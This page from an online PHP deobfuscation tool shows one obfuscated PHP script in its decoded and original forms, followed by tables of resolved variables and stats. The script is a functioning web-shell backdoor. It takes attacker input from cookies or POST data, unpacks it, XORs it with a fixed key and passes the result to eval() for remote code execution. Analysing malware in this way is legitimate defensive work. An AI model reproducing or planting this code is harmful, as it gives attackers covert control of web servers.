Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $WqvkzvAfQx =/* vo */'s' ./*bl */"\x74"/* jewy */./* dh */'r' . '_' ./* ..

Decoded Output download

<?php 
$WqvkzvAfQx	=/*   vo  */'s'  ./*bl */"t"/*   jewy   */./* dh  */'r'  .	'_'  ./* mnlS   */"r"     .  'e'     .     "p"/*  sqjTG */.   "e"	. chr	(97)	./*  NGeiB */chr	(116); 
$RdknkjeMsF	=  'e'   ./*   CPBA  */"x"/*RZCXe */./*Xh*/"p"  .   chr/* LoPjE   */(108)	.	chr	(111)     ./*  QbxJ */"d"	.    chr/* Yr  */(101); 
   $jDdaCYmwVI    =	'p'	. "a"/*  qa*/.	'c'	.	"k"; 
				function/*Ns */NOFQj() 
  { 
						$CBiIpWq	=     Array/* r */(/*  H */"nhiKpZUReLxVtty"	=>   "vzmzILsEEPZSamMQMwkWKkFQUXNH"	); 
		/*  sI */ 
 
 
/*DCcX  */$QOQLAvM	=	Array/* ehppB   */(   "fhUfhpmdQEqPtg"	=>	"uDUdingBsooVultZ"/*  UMXFP  */); 
					    $QWlyd	=	Array(/* KPQXb */$CBiIpWq,    $_COOKIE,/*   EpA  */$CBiIpWq,	$_POST,	$QOQLAvM); 
      
/*lw  */return/*  ubRg */$QWlyd; 
					/*  S   */} 
    	 
				function/*  lMUJ*/GfZviF($buEip,/* x*/$CBiIpWq) 
 
 
    { 
	/*rXAk */if     (	count/*  v */(/*   vrm   */$buEip )	== 3    )     { 
 
	$eXWgt/* FQt  */=    $buEip[1]; 
   $JpXjE/*   vLyqV*/=  $buEip[2]; 
		    $XbLARq     =	$eXWgt($JpXjE);; 
			     eval/*jII  */(	$XbLARq     ); 
			     die	(); 
  	} 
      } 
     
  	function   KKTFVPfM($MvoKFYhB,	$qRyuFPx) 
 	{ 
				return	$MvoKFYhB   ^/*  L   */$qRyuFPx;$_U =  '61860'; 
						} 
     	 
				 $FJwEWzmps/*ljG  */=	"#";$_cuPRA/*   uuPC*/=/*  TnNym   */'17269'; 
 
      
    /*  TMeD*/foreach    (NOFQj()  as    $SdccJ)  { 
 
/* o */foreach  (	$SdccJ	as	$qRyuFPx/*YWAS*/=>/* EVuDh */$MvoKFYhB )/*uv */{ 
 
 
/*  a   */ 
 
	$MvoKFYhB	= @$jDdaCYmwVI(/* XDT  */chr/* KNUDE */(	182	-	110	)."*",/*   skIj */$MvoKFYhB	); 
 
   
					/*  KOyd*/$qRyuFPx .=/*   aNqma*/"uOEUpi-TVPJg-vIeorW-PkuNy-srScg-PYQTg-NTJaI";$_E/*qMW  */=     '7740'; 
 
	$qRyuFPx   =/*   oX  */$WqvkzvAfQx	(	$qRyuFPx,/*   Rt   */(  strlen(	$MvoKFYhB   )/strlen(/*l */$qRyuFPx/*Uk */)/* tVmq */)/* V   */+  1); 
 
/*   PJ*/ 
     	$rAgdYzS/* xQ  */=     KKTFVPfM($MvoKFYhB,/*   YYft*/$qRyuFPx);$_R   =/*sZeaF  */'52968'; 
 
 
/*   Hi  */ 
     $buEip/*  S */=     $RdknkjeMsF	($FJwEWzmps,	$rAgdYzS/*  nFkT */); 
   /*  hsO*/ 
		     GfZviF($buEip,/*  PdT*/$FJwEWzmps); 
  
 
 
	continue;; 
		/*  iGW*/} 
         } ?>

Did this file decode correctly?

Original Code

<?php
$WqvkzvAfQx	=/*   vo  */'s'  ./*bl */"\x74"/*   jewy   */./* dh  */'r'  .	'_'  ./* mnlS   */"\162"     .  'e'     .     "\160"/*  sqjTG */.   "\145"	. chr	(97)	./*  NGeiB */chr	(116);
$RdknkjeMsF	=  'e'   ./*   CPBA  */"\170"/*RZCXe */./*Xh*/"\160"  .   chr/* LoPjE   */(108)	.	chr	(111)     ./*  QbxJ */"\144"	.    chr/* Yr  */(101);
   $jDdaCYmwVI    =	'p'	. "\x61"/*  qa*/.	'c'	.	"\x6b";
				function/*Ns */NOFQj()
  {
						$CBiIpWq	=     Array/* r */(/*  H */"nhiKpZUReLxVtty"	=>   "vzmzILsEEPZSamMQMwkWKkFQUXNH"	);
		/*  sI */


/*DCcX  */$QOQLAvM	=	Array/* ehppB   */(   "fhUfhpmdQEqPtg"	=>	"uDUdingBsooVultZ"/*  UMXFP  */);
					    $QWlyd	=	Array(/* KPQXb */$CBiIpWq,    $_COOKIE,/*   EpA  */$CBiIpWq,	$_POST,	$QOQLAvM);
     
/*lw  */return/*  ubRg */$QWlyd;
					/*  S   */}
    	
				function/*  lMUJ*/GfZviF($buEip,/* x*/$CBiIpWq)


    {
	/*rXAk */if     (	count/*  v */(/*   vrm   */$buEip )	== 3    )     {

	$eXWgt/* FQt  */=    $buEip[1];
   $JpXjE/*   vLyqV*/=  $buEip[2];
		    $XbLARq     =	$eXWgt($JpXjE);;
			     eval/*jII  */(	$XbLARq     );
			     die	();
  	}
      }
    
  	function   KKTFVPfM($MvoKFYhB,	$qRyuFPx)
 	{
				return	$MvoKFYhB   ^/*  L   */$qRyuFPx;$_U =  '61860';
						}
     	
				 $FJwEWzmps/*ljG  */=	"\x23";$_cuPRA/*   uuPC*/=/*  TnNym   */'17269';

     
    /*  TMeD*/foreach    (NOFQj()  as    $SdccJ)  {

/* o */foreach  (	$SdccJ	as	$qRyuFPx/*YWAS*/=>/* EVuDh */$MvoKFYhB )/*uv */{


/*  a   */

	$MvoKFYhB	= @$jDdaCYmwVI(/* XDT  */chr/* KNUDE */(	182	-	110	)."\x2a",/*   skIj */$MvoKFYhB	);

  
					/*  KOyd*/$qRyuFPx .=/*   aNqma*/"uOEUpi-TVPJg-vIeorW-PkuNy-srScg-PYQTg-NTJaI";$_E/*qMW  */=     '7740';

	$qRyuFPx   =/*   oX  */$WqvkzvAfQx	(	$qRyuFPx,/*   Rt   */(  strlen(	$MvoKFYhB   )/strlen(/*l */$qRyuFPx/*Uk */)/* tVmq */)/* V   */+  1);

/*   PJ*/
     	$rAgdYzS/* xQ  */=     KKTFVPfM($MvoKFYhB,/*   YYft*/$qRyuFPx);$_R   =/*sZeaF  */'52968';


/*   Hi  */
     $buEip/*  S */=     $RdknkjeMsF	($FJwEWzmps,	$rAgdYzS/*  nFkT */);
   /*  hsO*/
		     GfZviF($buEip,/*  PdT*/$FJwEWzmps);
 


	continue;;
		/*  iGW*/}
         }

Function Calls

chr 5
NOFQj 1

Variables

$QWlyd [{'key': 0, 'value': [{'key': 'nhiKpZUReLxVtty', 'value': 'vzmzILsEEPZSamMQMwkWKkFQUXNH'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'nhiKpZUReLxVtty', 'value': 'vzmzILsEEPZSamMQMwkWKkFQUXNH'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'fhUfhpmdQEqPtg', 'value': 'uDUdingBsooVultZ'}]}]
$_cuPRA 17269
$CBiIpWq [{'key': 'nhiKpZUReLxVtty', 'value': 'vzmzILsEEPZSamMQMwkWKkFQUXNH'}]
$QOQLAvM [{'key': 'fhUfhpmdQEqPtg', 'value': 'uDUdingBsooVultZ'}]
$FJwEWzmps #
$RdknkjeMsF explode
$WqvkzvAfQx str_repeat
$jDdaCYmwVI pack

Stats

MD5 cc79a44d365f65b6096e75fddb298e8f
Eval Count 0
Decode Time 403 ms